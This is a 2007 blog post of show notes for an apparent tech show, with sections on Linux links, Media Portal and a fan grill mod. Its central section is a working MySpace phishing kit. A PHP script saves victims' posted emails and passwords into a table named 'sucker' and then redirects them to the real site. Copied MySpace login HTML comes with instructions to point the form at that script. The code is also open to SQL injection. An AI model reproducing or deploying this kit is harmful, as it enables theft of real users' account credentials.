Step1 - Season1 : Episode1

Submitted by Mark on January 18, 2007 - 2:25pm.

-LINUX SHOW NOTES-

http://fedora.redhat.com/ - Get the OS here.
http://www.linuxforums.org/ - Get the help here.
http://www.linuxiso.org/ - Get The Other Distros Here.




MYSPACE PHISHING SHOW NOTES

/*PHP for myspace phishing*/

<?

/*
Bear in mind that I wrote this in about 5 minutes,
so this script has NO input validation. So don't
use a database that holds important information.
Because if you piss the wrong person off, youll probably find
the whole thing gone... so then I guess you wouldn't find it... oh well...
you get the point.

*/



//your Database username
$username = "yourusername";


//your Database password
$password = "yourpassword";

//Database host
$dbhost = "hostname:port";



//calling email from the "email" input posted from the form
$email = $_POST["email"];



//calling password...
$pass = $_POST["password"];


//opening the connection to your DB, and printing the message if connection fails.
$conn = @mysql_connect("$dbhost", "$username", "$password") or die("Due to heavy traffic on the server, your informtation could not be processed.");



//tells which DB to select
mysql_select_db ("your database");


//sql query that saves entered info into the DB
$sql = "INSERT INTO sucker (Email, Password) VALUES ('$email', '$pass')";



//checks to make sure that everything worked out, if it does then it redirects the victim to myspace, if not it redirects them to your page.
if(mysql_query($sql, $conn))
{
header ("Location: http://www.myspace.com/");
}
else
{
header ("Location: http://your.site.here/");
}



//close the connection
mysql_close($conn);
?>



<!--Excerpt of Myspace Source-->

<h2>Member Login</h2>
<form action="index.cfm?fuseaction=login.process" method="post" name="theForm" id="theForm">
<table>
<tr class="loginElement">
<td class="label"><label for="email">E-Mail:</label></td>
<td class="input"><input type="text" name="email" id="email"/></td>
</tr>
<tr class="loginElement">
<td class="label"><label for="password">Password:</label></td>
<td class="input"><input name="password" type="password" id="password"/></td>




This is the important part of the myspace homepage right where it says: action="index.cfm?fuseaction=login.process"



You need to change that to action="addemail.php" or whatever you happen to name your file.



-MEDIA PORTAL-

http://mediaportal.sourceforge.net/ - Get media portal and everything for it here.
http://www.logitech.com - The logitech set featured on this segment.



-Fan Grill Mod-

Wear safty glasses.